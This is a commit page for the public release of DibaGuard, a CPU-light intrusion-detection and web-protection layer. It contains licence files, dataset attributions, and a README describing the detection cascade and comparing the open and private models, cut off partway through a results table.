DibaAi commited on
Commit
5d97275
·
verified ·
1 Parent(s): 2348deb

DibaGuard: public licence-clean release (Dibachain)

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. .gitattributes +2 -0
  2. LICENSE +207 -0
  3. LICENSE-WEIGHTS +54 -0
  4. NOTICE +47 -0
  5. README.md +384 -0
  6. charts/clean_vs_shipped.png +3 -0
  7. charts/harm_before_after.png +0 -0
  8. charts/labs_recall.png +3 -0
  9. docs/CLEAN_MODELS.md +341 -0
  10. docs/CONSOLE.md +121 -0
  11. docs/DATA_LICENSES.md +251 -0
  12. docs/DESIGN.md +265 -0
  13. docs/HA.md +294 -0
  14. docs/INTEGRATIONS.md +629 -0
  15. docs/PERFORMANCE.md +509 -0
  16. docs/TECHNICAL.md +599 -0
  17. docs/VALIDATION_REPORT.md +731 -0
  18. models/dbnet.bin +3 -0
  19. models/dbnet.bin.json +1 -0
  20. models/dbnet.npz +3 -0
  21. models/dbnet_eval.json +320 -0
  22. models/entity_v1/lu_entity_detector.bin +3 -0
  23. models/entity_v1/lu_entity_detector.bin.json +1 -0
  24. models/entity_v1/lu_entity_detector.npz +3 -0
  25. models/entity_v1/nf_entity_detector.bin +3 -0
  26. models/entity_v1/nf_entity_detector.bin.json +1 -0
  27. models/entity_v1/nf_entity_detector.npz +3 -0
  28. models/seq_v1/nf_entity_mono.bin +3 -0
  29. models/seq_v1/nf_entity_mono.bin.json +1 -0
  30. models/seq_v1/nf_entity_mono.npz +3 -0
  31. models/seq_v1/seq_v1_info.json +36 -0
  32. models/seq_v1/seqnet.bin +3 -0
  33. models/seq_v1/seqnet.bin.json +1 -0
  34. models/seq_v1/seqnet.npz +3 -0
  35. reports/benchmark.md +120 -0
  36. runtime/go/aggregate.go +164 -0
  37. runtime/go/bench_latency_test.go +441 -0
  38. runtime/go/bench_latency_windows_test.go +30 -0
  39. runtime/go/canon.go +486 -0
  40. runtime/go/canonical_test.go +152 -0
  41. runtime/go/clientip.go +204 -0
  42. runtime/go/cmd/dibaguard-authz/authz.go +369 -0
  43. runtime/go/cmd/dibaguard-authz/authz_test.go +555 -0
  44. runtime/go/cmd/dibaguard-authz/haproxy.go +380 -0
  45. runtime/go/cmd/dibaguard-authz/haproxy_test.go +393 -0
  46. runtime/go/cmd/dibaguard-authz/main.go +185 -0
  47. runtime/go/cmd/dibaguard-proxy/identity_test.go +122 -0
  48. runtime/go/cmd/dibaguard-proxy/main.go +278 -0
  49. runtime/go/cmd/dibaguard-proxy/main_test.go +74 -0
  50. runtime/go/decide.go +289 -0
.gitattributes CHANGED
@@ -33,3 +33,5 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ charts/clean_vs_shipped.png filter=lfs diff=lfs merge=lfs -text
37
+ charts/labs_recall.png filter=lfs diff=lfs merge=lfs -text
LICENSE ADDED
@@ -0,0 +1,207 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ DibaGuard open release -- code licence
2
+
3
+ Copyright 2026 Dibachain (DibaAi). Everything in this repository except the files under models/ is licensed
4
+ under the Apache License, Version 2.0 (below). The files under models/ are licensed under CC BY-SA 4.0, see
5
+ LICENSE-WEIGHTS; the data attribution is in NOTICE.
6
+
7
+ Apache License
8
+ Version 2.0, January 2004
9
+ http://www.apache.org/licenses/
10
+
11
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
12
+
13
+ 1. Definitions.
14
+
15
+ "License" shall mean the terms and conditions for use, reproduction,
16
+ and distribution as defined by Sections 1 through 9 of this document.
17
+
18
+ "Licensor" shall mean the copyright owner or entity authorized by
19
+ the copyright owner that is granting the License.
20
+
21
+ "Legal Entity" shall mean the union of the acting entity and all
22
+ other entities that control, are controlled by, or are under common
23
+ control with that entity. For the purposes of this definition,
24
+ "control" means (i) the power, direct or indirect, to cause the
25
+ direction or management of such entity, whether by contract or
26
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
27
+ outstanding shares, or (iii) beneficial ownership of such entity.
28
+
29
+ "You" (or "Your") shall mean an individual or Legal Entity
30
+ exercising permissions granted by this License.
31
+
32
+ "Source" form shall mean the preferred form for making modifications,
33
+ including but not limited to software source code, documentation
34
+ source, and configuration files.
35
+
36
+ "Object" form shall mean any form resulting from mechanical
37
+ transformation or translation of a Source form, including but
38
+ not limited to compiled object code, generated documentation,
39
+ and conversions to other media types.
40
+
41
+ "Work" shall mean the work of authorship, whether in Source or
42
+ Object form, made available under the License, as indicated by a
43
+ copyright notice that is included in or attached to the work
44
+ (an example is provided in the Appendix below).
45
+
46
+ "Derivative Works" shall mean any work, whether in Source or Object
47
+ form, that is based on (or derived from) the Work and for which the
48
+ editorial revisions, annotations, elaborations, or other modifications
49
+ represent, as a whole, an original work of authorship. For the purposes
50
+ of this License, Derivative Works shall not include works that remain
51
+ separable from, or merely link (or bind by name) to the interfaces of,
52
+ the Work and Derivative Works thereof.
53
+
54
+ "Contribution" shall mean any work of authorship, including
55
+ the original version of the Work and any modifications or additions
56
+ to that Work or Derivative Works thereof, that is intentionally
57
+ submitted to Licensor for inclusion in the Work by the copyright owner
58
+ or by an individual or Legal Entity authorized to submit on behalf of
59
+ the copyright owner. For the purposes of this definition, "submitted"
60
+ means any form of electronic, verbal, or written communication sent
61
+ to the Licensor or its representatives, including but not limited to
62
+ communication on electronic mailing lists, source code control systems,
63
+ and issue tracking systems that are managed by, or on behalf of, the
64
+ Licensor for the purpose of discussing and improving the Work, but
65
+ excluding communication that is conspicuously marked or otherwise
66
+ designated in writing by the copyright owner as "Not a Contribution."
67
+
68
+ "Contributor" shall mean Licensor and any individual or Legal Entity
69
+ on behalf of whom a Contribution has been received by Licensor and
70
+ subsequently incorporated within the Work.
71
+
72
+ 2. Grant of Copyright License. Subject to the terms and conditions of
73
+ this License, each Contributor hereby grants to You a perpetual,
74
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
75
+ copyright license to reproduce, prepare Derivative Works of,
76
+ publicly display, publicly perform, sublicense, and distribute the
77
+ Work and such Derivative Works in Source or Object form.
78
+
79
+ 3. Grant of Patent License. Subject to the terms and conditions of
80
+ this License, each Contributor hereby grants to You a perpetual,
81
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
82
+ (except as stated in this section) patent license to make, have made,
83
+ use, offer to sell, sell, import, and otherwise transfer the Work,
84
+ where such license applies only to those patent claims licensable
85
+ by such Contributor that are necessarily infringed by their
86
+ Contribution(s) alone or by combination of their Contribution(s)
87
+ with the Work to which such Contribution(s) was submitted. If You
88
+ institute patent litigation against any entity (including a
89
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
90
+ or a Contribution incorporated within the Work constitutes direct
91
+ or contributory patent infringement, then any patent licenses
92
+ granted to You under this License for that Work shall terminate
93
+ as of the date such litigation is filed.
94
+
95
+ 4. Redistribution. You may reproduce and distribute copies of the
96
+ Work or Derivative Works thereof in any medium, with or without
97
+ modifications, and in Source or Object form, provided that You
98
+ meet the following conditions:
99
+
100
+ (a) You must give any other recipients of the Work or
101
+ Derivative Works a copy of this License; and
102
+
103
+ (b) You must cause any modified files to carry prominent notices
104
+ stating that You changed the files; and
105
+
106
+ (c) You must retain, in the Source form of any Derivative Works
107
+ that You distribute, all copyright, patent, trademark, and
108
+ attribution notices from the Source form of the Work,
109
+ excluding those notices that do not pertain to any part of
110
+ the Derivative Works; and
111
+
112
+ (d) If the Work includes a "NOTICE" text file as part of its
113
+ distribution, then any Derivative Works that You distribute must
114
+ include a readable copy of the attribution notices contained
115
+ within such NOTICE file, excluding those notices that do not
116
+ pertain to any part of the Derivative Works, in at least one
117
+ of the following places: within a NOTICE text file distributed
118
+ as part of the Derivative Works; within the Source form or
119
+ documentation, if provided along with the Derivative Works; or,
120
+ within a display generated by the Derivative Works, if and
121
+ wherever such third-party notices normally appear. The contents
122
+ of the NOTICE file are for informational purposes only and
123
+ do not modify the License. You may add Your own attribution
124
+ notices within Derivative Works that You distribute, alongside
125
+ or as an addendum to the NOTICE text from the Work, provided
126
+ that such additional attribution notices cannot be construed
127
+ as modifying the License.
128
+
129
+ You may add Your own copyright statement to Your modifications and
130
+ may provide additional or different license terms and conditions
131
+ for use, reproduction, or distribution of Your modifications, or
132
+ for any such Derivative Works as a whole, provided Your use,
133
+ reproduction, and distribution of the Work otherwise complies with
134
+ the conditions stated in this License.
135
+
136
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
137
+ any Contribution intentionally submitted for inclusion in the Work
138
+ by You to the Licensor shall be under the terms and conditions of
139
+ this License, without any additional terms or conditions.
140
+ Notwithstanding the above, nothing herein shall supersede or modify
141
+ the terms of any separate license agreement you may have executed
142
+ with Licensor regarding such Contributions.
143
+
144
+ 6. Trademarks. This License does not grant permission to use the trade
145
+ names, trademarks, service marks, or product names of the Licensor,
146
+ except as required for reasonable and customary use in describing the
147
+ origin of the Work and reproducing the content of the NOTICE file.
148
+
149
+ 7. Disclaimer of Warranty. Unless required by applicable law or
150
+ agreed to in writing, Licensor provides the Work (and each
151
+ Contributor provides its Contributions) on an "AS IS" BASIS,
152
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
153
+ implied, including, without limitation, any warranties or conditions
154
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
155
+ PARTICULAR PURPOSE. You are solely responsible for determining the
156
+ appropriateness of using or redistributing the Work and assume any
157
+ risks associated with Your exercise of permissions under this License.
158
+
159
+ 8. Limitation of Liability. In no event and under no legal theory,
160
+ whether in tort (including negligence), contract, or otherwise,
161
+ unless required by applicable law (such as deliberate and grossly
162
+ negligent acts) or agreed to in writing, shall any Contributor be
163
+ liable to You for damages, including any direct, indirect, special,
164
+ incidental, or consequential damages of any character arising as a
165
+ result of this License or out of the use or inability to use the
166
+ Work (including but not limited to damages for loss of goodwill,
167
+ work stoppage, computer failure or malfunction, or any and all
168
+ other commercial damages or losses), even if such Contributor
169
+ has been advised of the possibility of such damages.
170
+
171
+ 9. Accepting Warranty or Additional Liability. While redistributing
172
+ the Work or Derivative Works thereof, You may choose to offer,
173
+ and charge a fee for, acceptance of support, warranty, indemnity,
174
+ or other liability obligations and/or rights consistent with this
175
+ License. However, in accepting such obligations, You may act only
176
+ on Your own behalf and on Your sole responsibility, not on behalf
177
+ of any other Contributor, and only if You agree to indemnify,
178
+ defend, and hold each Contributor harmless for any liability
179
+ incurred by, or claims asserted against, such Contributor by reason
180
+ of your accepting any such warranty or additional liability.
181
+
182
+ END OF TERMS AND CONDITIONS
183
+
184
+ APPENDIX: How to apply the Apache License to your work.
185
+
186
+ To apply the Apache License to your work, attach the following
187
+ boilerplate notice, with the fields enclosed by brackets "[]"
188
+ replaced with your own identifying information. (Don't include
189
+ the brackets!) The text should be enclosed in the appropriate
190
+ comment syntax for the file format. We also recommend that a
191
+ file or class name and description of purpose be included on the
192
+ same "printed page" as the copyright notice for easier
193
+ identification within third-party archives.
194
+
195
+ Copyright 2026 Dibachain (DibaAi)
196
+
197
+ Licensed under the Apache License, Version 2.0 (the "License");
198
+ you may not use this file except in compliance with the License.
199
+ You may obtain a copy of the License at
200
+
201
+ http://www.apache.org/licenses/LICENSE-2.0
202
+
203
+ Unless required by applicable law or agreed to in writing, software
204
+ distributed under the License is distributed on an "AS IS" BASIS,
205
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
206
+ See the License for the specific language governing permissions and
207
+ limitations under the License.
LICENSE-WEIGHTS ADDED
@@ -0,0 +1,54 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ DibaGuard open release -- licence of the model files under models/
2
+
3
+ Copyright 2026 Dibachain (DibaAi).
4
+
5
+ The files under models/ (seq_v1/nf_entity_mono.npz, seq_v1/seqnet.npz, seq_v1/seq_v1_info.json,
6
+ entity_v1/nf_entity_detector.npz, entity_v1/lu_entity_detector.npz, dbnet.npz, dbnet_eval.json, and the flat
7
+ .bin / .bin.json exports of the same weights) are licensed under the
8
+
9
+ Creative Commons Attribution-ShareAlike 4.0 International Public License (CC BY-SA 4.0)
10
+ https://creativecommons.org/licenses/by-sa/4.0/legalcode
11
+
12
+ You are free to share and adapt them, including commercially, provided that you (a) give appropriate credit as set
13
+ out below, link to the licence and indicate if changes were made, and (b) distribute any adaptation under the same
14
+ licence. No warranty is given; see the legal code for the full terms.
15
+
16
+ Why CC BY-SA 4.0 and not Apache-2.0 like the code: one training source of the network models, LUFlow (Mills et al.,
17
+ IEEE TNSM 2021), is released by its authors under CC BY-SA 4.0. Whether trained weights are "Adapted Material" of a
18
+ training set is legally unsettled; this release does not rely on the answer and applies ShareAlike to the weights.
19
+ Every other source is CC BY 4.0 or the Canadian Institute for Cybersecurity's redistribution grant with citation.
20
+ dbnet.npz contains no third-party data and is released under the same licence for uniformity.
21
+
22
+ Attribution to give when you redistribute or adapt these files
23
+ --------------------------------------------------------------
24
+
25
+ "DibaGuard open models (https://huggingface.co/DibaAi/DibaGuard-Open), Dibachain 2026, CC BY-SA 4.0", together with:
26
+
27
+ Training data of the network models (models/seq_v1/*, models/entity_v1/*), as the model metadata records it:
28
+
29
+ * RoEduNet-SIMARGL2021 -- CC BY 4.0. Mihailescu et al., "The Proposition and Evaluation of the RoEduNet-SIMARGL2021
30
+ Network Intrusion Detection Dataset", Sensors 21(13):4319, 2021.
31
+ Source: https://www.kaggle.com/datasets/h2020simargl/simargl2021-network-intrusion-detection-dataset
32
+ * SIMARGL2022 -- CC BY 4.0. H2020 SIMARGL, SIMARGL2022 network traffic dataset.
33
+ Source: https://www.kaggle.com/datasets/h2020simargl/simargl2022
34
+ * APPRAISE H2020 real labelled NetFlow dataset -- CC BY 4.0. ITTI Sp. z o.o.
35
+ Source: https://www.kaggle.com/datasets/ittibydgoszcz/appraise-h2020-real-labelled-netflow-dataset
36
+ * ACI-IoT-2023 -- CC BY 4.0. Nack et al., "ACI IoT Network Traffic Dataset 2023", MILCOM 2024;
37
+ IEEE DataPort doi:10.21227/qacj-3x32. Source (the author's release):
38
+ https://www.kaggle.com/datasets/emilynack/aci-iot-network-traffic-dataset-2023
39
+ * CSE-CIC-IDS2018 (Tuesday 20-02-2018, from the publisher's AWS open-data bucket) -- Canadian Institute for
40
+ Cybersecurity grant ("you may redistribute, republish, and mirror ... in any form", citation required).
41
+ Sharafaldin, Habibi Lashkari, Ghorbani, "Toward Generating a New Intrusion Detection Dataset and Intrusion Traffic
42
+ Characterization", ICISSP 2018. https://registry.opendata.aws/cse-cic-ids2018 and https://www.unb.ca/cic/datasets/ids-2018.html
43
+ * LUFlow 2020 and 2021 -- CC BY-SA 4.0. Mills, Marnerides, Broadbent, Race, "Practical Intrusion Detection of
44
+ Emerging Threats", IEEE Transactions on Network and Service Management, 2021, doi:10.1109/TNSM.2021.3091517.
45
+ Source (the author's release): https://www.kaggle.com/datasets/mryanm/luflow-network-intrusion-detection-data-set
46
+
47
+ Which model saw which source:
48
+ * seq_v1/nf_entity_mono.npz (monotone tree prior) and seq_v1/seqnet.npz (GRU SeqNet): all seven testbeds above.
49
+ * entity_v1/nf_entity_detector.npz: SIMARGL2021, SIMARGL2022, APPRAISE, ACI-IoT-2023, CSE-CIC-IDS2018 (AWS).
50
+ * entity_v1/lu_entity_detector.npz: LUFlow 2020 and 2021 only.
51
+ * dbnet.npz (DbNet, database query network): a grammar-generated SQL / NoSQL corpus written for DibaGuard
52
+ (scripts/db_corpus.py of the main repository); no third-party data.
53
+
54
+ The same attribution block is stored in each network model's own metadata (`info` -> `meta.notice` / `notice`).
NOTICE ADDED
@@ -0,0 +1,47 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ DibaGuard open release
2
+ Copyright 2026 Dibachain (DibaAi)
3
+
4
+ Code (everything except models/): Apache License 2.0 -- see LICENSE.
5
+ Model files (models/): CC BY-SA 4.0 -- see LICENSE-WEIGHTS.
6
+
7
+ This release contains no HTTP request model. The HTTP model of the private build is trained on data that is not
8
+ cleared for redistribution and was left out; the HTTP edge of this release runs on signatures, SQL-context analysis,
9
+ DbNet and the behavioural session tier, none of which uses third-party training data.
10
+
11
+ Training data of the network models (models/seq_v1/*, models/entity_v1/*), as the model metadata records it:
12
+
13
+ * RoEduNet-SIMARGL2021 -- CC BY 4.0. Mihailescu et al., "The Proposition and Evaluation of the RoEduNet-SIMARGL2021
14
+ Network Intrusion Detection Dataset", Sensors 21(13):4319, 2021.
15
+ Source: https://www.kaggle.com/datasets/h2020simargl/simargl2021-network-intrusion-detection-dataset
16
+ * SIMARGL2022 -- CC BY 4.0. H2020 SIMARGL, SIMARGL2022 network traffic dataset.
17
+ Source: https://www.kaggle.com/datasets/h2020simargl/simargl2022
18
+ * APPRAISE H2020 real labelled NetFlow dataset -- CC BY 4.0. ITTI Sp. z o.o.
19
+ Source: https://www.kaggle.com/datasets/ittibydgoszcz/appraise-h2020-real-labelled-netflow-dataset
20
+ * ACI-IoT-2023 -- CC BY 4.0. Nack et al., "ACI IoT Network Traffic Dataset 2023", MILCOM 2024;
21
+ IEEE DataPort doi:10.21227/qacj-3x32. Source (the author's release):
22
+ https://www.kaggle.com/datasets/emilynack/aci-iot-network-traffic-dataset-2023
23
+ * CSE-CIC-IDS2018 (Tuesday 20-02-2018, from the publisher's AWS open-data bucket) -- Canadian Institute for
24
+ Cybersecurity grant ("you may redistribute, republish, and mirror ... in any form", citation required).
25
+ Sharafaldin, Habibi Lashkari, Ghorbani, "Toward Generating a New Intrusion Detection Dataset and Intrusion Traffic
26
+ Characterization", ICISSP 2018. https://registry.opendata.aws/cse-cic-ids2018 and https://www.unb.ca/cic/datasets/ids-2018.html
27
+ * LUFlow 2020 and 2021 -- CC BY-SA 4.0. Mills, Marnerides, Broadbent, Race, "Practical Intrusion Detection of
28
+ Emerging Threats", IEEE Transactions on Network and Service Management, 2021, doi:10.1109/TNSM.2021.3091517.
29
+ Source (the author's release): https://www.kaggle.com/datasets/mryanm/luflow-network-intrusion-detection-data-set
30
+
31
+ Which model saw which source:
32
+ * seq_v1/nf_entity_mono.npz (monotone tree prior) and seq_v1/seqnet.npz (GRU SeqNet): all seven testbeds above.
33
+ * entity_v1/nf_entity_detector.npz: SIMARGL2021, SIMARGL2022, APPRAISE, ACI-IoT-2023, CSE-CIC-IDS2018 (AWS).
34
+ * entity_v1/lu_entity_detector.npz: LUFlow 2020 and 2021 only.
35
+ * dbnet.npz (DbNet, database query network): a grammar-generated SQL / NoSQL corpus written for DibaGuard
36
+ (scripts/db_corpus.py of the main repository); no third-party data.
37
+
38
+ The same attribution block is stored in each network model's own metadata (`info` -> `meta.notice` / `notice`).
39
+
40
+ Evaluation-only material (never trained on, nothing bundled): OWASP Core Rule Set regression tests (Apache-2.0,
41
+ https://github.com/coreruleset/coreruleset), SR-BH 2020 (CC0, doi:10.7910/DVN/OGOIXX), the thirty-day ModSecurity
42
+ blocked-request archive (CC BY 4.0, Lucz 2025, doi:10.5281/zenodo.17178461), libinjection (BSD-3-Clause) as the
43
+ comparison engine. The request signatures in dibaguard/shield/playbook.py were written for DibaGuard in the spirit
44
+ of the OWASP Core Rule Set; no CRS rule text is bundled.
45
+
46
+ The full licence audit of every dataset the project ever touched is docs/DATA_LICENSES.md; how the clean models
47
+ were built and how they compare with the private ones is docs/CLEAN_MODELS.md.
README.md ADDED
@@ -0,0 +1,384 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: apache-2.0
3
+ language:
4
+ - en
5
+ - fa
6
+ tags:
7
+ - security
8
+ - intrusion-detection
9
+ - waf
10
+ - network
11
+ - numpy
12
+ - persian
13
+ library_name: none
14
+ ---
15
+
16
+ # DibaGuard
17
+
18
+ **A CPU-light attack-detection and protection layer for network flows, HTTP, JSON-RPC and databases, with calibrated
19
+ false-alarm rates, explainable verdicts and a policy-driven enforcer.** This is the public, licence-clean build by
20
+ Dibachain. Code is Apache-2.0; the model files are CC BY-SA 4.0 (one training source requires ShareAlike). The same
21
+ release is published as [`DibaAi/DibaGuard-Open`](https://huggingface.co/DibaAi/DibaGuard-Open); an interactive demo is at
22
+ [`DibaAi/beam-dibaguard`](https://huggingface.co/spaces/DibaAi/beam-dibaguard).
23
+
24
+ DibaGuard sits where a WAF, an IDS and a host firewall would sit: inline in front of an application, as an external
25
+ decision service behind the load balancer you already run (nginx, Envoy, HAProxy, Traefik, Caddy), or beside a host
26
+ reading flow and log exports. Every alarm comes with a controlled false-alarm rate (conformal calibration on the
27
+ site's own traffic, default budget 10^-3 per source-minute), a named attack family, the evidence that produced it,
28
+ and an action chosen by the operator's policy (report only, or enforce). Inference is numpy-only in Python, with a
29
+ dependency-free Go fast path proven bit-exact against the Python one on parity fixtures. Operators write their own
30
+ rules in plain language (Persian or English with the built-in parser, any language through an LLM of their choice via
31
+ the MCP / REST bridge); the layer shows its reading back before the rule goes live, and every LLM proposal passes an
32
+ approval gate.
33
+
34
+ ![Detection in the labs, three seeds; benign sources enforced: 0 in every lab](charts/labs_recall.png)
35
+
36
+ ## What is in this repository
37
+
38
+ | path | content | licence |
39
+ |---|---|---|
40
+ | `models/seq_v1/nf_entity_mono.npz` | tier-1 monotone tree prior (24 behaviour counters, oblivious trees evaluated in numpy) | CC BY-SA 4.0 |
41
+ | `models/seq_v1/seqnet.npz`, `seq_v1_info.json` | tier-2 GRU sequence network (d = 64) | CC BY-SA 4.0 |
42
+ | `models/entity_v1/nf_entity_detector.npz`, `lu_entity_detector.npz` | fallback entity detectors (NetFlow view; LUFlow view) | CC BY-SA 4.0 |
43
+ | `models/dbnet.npz` | DbNet, the database query network (own grammar-generated corpus) | CC BY-SA 4.0 |
44
+ | `models/**/*.bin`, `*.bin.json` | the same weights as flat arrays for the Go runtime | CC BY-SA 4.0 |
45
+ | `runtime/python/dibaguard/` | the engine, shield, HTTP edge, database tier, LLM bridge (MCP + REST) and operator console | Apache-2.0 |
46
+ | `runtime/go/` | the Go fast path (`dibaguard-authz`, `dibaguard-proxy`) and its parity fixtures | Apache-2.0 |
47
+ | `docs/`, `reports/`, `charts/` | technical documentation, independent validation report, licence audit, benchmark, charts | Apache-2.0 |
48
+
49
+ **Not in this repository: the HTTP request model.** The one in the private build is trained on data that is not
50
+ cleared for redistribution, and the licence-clean retrain collapses on applications it never saw (`docs/CLEAN_MODELS.md`),
51
+ so it is not shipped. The engine supports this configuration natively: the HTTP edge of this build runs the request
52
+ signatures A01-A22 (JNDI, CMS exploit paths, SQL / NoSQL / command injection, traversal, XSS, SSTI / XXE / SSRF,
53
+ sensitive-file probes, declared AI crawlers), the SQL-context analysis of every parameter with DbNet as a second
54
+ opinion, and the behavioural session tier.
55
+
56
+ ## The cascade
57
+
58
+ Every tier looks at a different scale, every score becomes a p-value against the site's own reference, and a tier
59
+ alarms when its p-value is under its share of the false-alarm budget (`docs/TECHNICAL.md`, sections 2-7):
60
+
61
+ * **Tier 0, entity state**: 36 exponentially decayed behaviour counters per source over three horizons (10 s, 2 min,
62
+ 30 min): no-reply, SYN-only, reset, new-port, new-host, repeat and short-flow shares, gaps, and three
63
+ destination-side counters. Identity-free and scale-free, which is why the models transfer between networks.
64
+ * **Tier 1, monotone tree prior**: oblivious trees over 24 attack-direction counters with *increasing* constraints
65
+ (more port walking or more failed connects can never look more benign), calibrated per service x source age
66
+ (Mondrian conformal).
67
+ * **Tier 1', site-only anomaly**: no labels; Fisher's combination of upper-tail p-values of the shape features against
68
+ the site's own traffic.
69
+ * **Tier 2, GRU SeqNet**: a causal GRU with one hidden state per source, FiLM-conditioned on a site context vector; runs
70
+ on warm sources only.
71
+ * **Tier 4, per-source evidence**: fast and slow CUSUM over a source's stream, so weak signals accumulate and a
72
+ first-contact source is never blocked on one event.
73
+ * **Tier 5, destination flood** and **tier 6, campaign tracker**: floods of new sources on one destination; distributed
74
+ low-and-slow campaigns found through a fingerprint shared across thousands of sources.
75
+ * **HTTP edge**: one canonical request text on every path (Python and Go produce byte-identical text), signatures
76
+ A01-A22, SQL-context analysis of parameters, DbNet second opinion, payload provenance between the database tier and
77
+ the HTTP edge, session tier.
78
+ * **Database tier**: six engines' query / audit logs; DbNet + signatures + behaviour + provenance; an application server
79
+ is never blocked at the network level, the web source behind the payload is acted on instead.
80
+ * **Shield**: policy (report | enforce), enforcer (nft / iptables / netsh / dry-run) with TTLs, posture audit, rules in
81
+ any language, NAT / CGNAT / IPv6 identity, operator feedback that an attacker cannot poison, review queue, report.
82
+
83
+ ## Open build versus private build
84
+
85
+ The network models here are the **licence-clean set** of `docs/CLEAN_MODELS.md`, trained only on sources the audit
86
+ marks GREEN (SIMARGL 2021 / 2022, APPRAISE, ACI-IoT-2023, CSE-CIC-IDS2018 from the publisher's AWS bucket, LUFlow from
87
+ its author). Head-to-head with the private ("shipped") models on the same rows, conformal threshold at alpha = 10^-3,
88
+ tier-1 prior, per flow:
89
+
90
+ | scored network (neither model trained on it) | shipped AUROC | open (clean) AUROC |
91
+ |---|---|---|
92
+ | SIMARGL2022 | 0.968 | **0.999** |
93
+ | APPRAISE | 0.614 | **0.985** |
94
+ | ACI-IoT-2023 (author release) | 0.622 | 0.644 |
95
+ | CSE-CIC-IDS2018, AWS, Tue 20-02 | 0.949 | **1.000** |
96
+
97
+ Per-source evidence on SIMARGL2021 (an unseen network for the clean run), judged per (source, minute): clean FPR
98
+ 0.00081 with 8 / 8 attacking source-minutes caught, shipped FPR 0.0029 with 16 / 17. The GRU's leave-out AUROC on
99
+ SIMARGL2021 is 0.991 (shipped 0.822); the LUFlow detector improves from 0.984 to 0.9998 after a loader clock fix.
100
+
101
+ **Where the open models are weaker**: on NF-UNSW-NB15-v3 (AUROC 0.958 -> 0.066) and NF-ToN-IoT-v3 (0.955 -> 0.879),
102
+ which are the private model's own training networks (UNSW Canberra, academic-only terms) and have no openly licensed
103
+ twin. Expect weaker tier-1 scores on IoT / UNSW-style traffic; the site-only anomaly tier and the evidence tiers do
104
+ not depend on training data. The open build has **no HTTP request model** (above).
105
+
106
+ ![Tier-1 prior AUROC per network: the open, licence-clean models next to the private ones](charts/clean_vs_shipped.png)
107
+
108
+ ## Results
109
+
110
+ Reproducible labs of the main repository (`scripts/benchmark_all.py`, three seeds, `reports/benchmark.md`). These
111
+ numbers were measured on the **private build with its full model set**, including the HTTP model that is not in
112
+ this repository; the two SQL-injection lines and the libinjection comparison are signature + SQL-context + DbNet
113
+ results that involve no HTTP model. The open build has not yet been re-run through the labs (see *Verified at build
114
+ time* for what was checked on this exact folder).
115
+
116
+ | lab (3 seeds) | item | mean | min-max |
117
+ |---|---|---|---|
118
+ | evolving attacker, 12 waves | Log4Shell / SSH brute force / NTP amplification / credential stuffing / peer flood / rapid reset / WordPress exploit / AI scraper, final recall | 1.000 each | 1.0-1.0 |
119
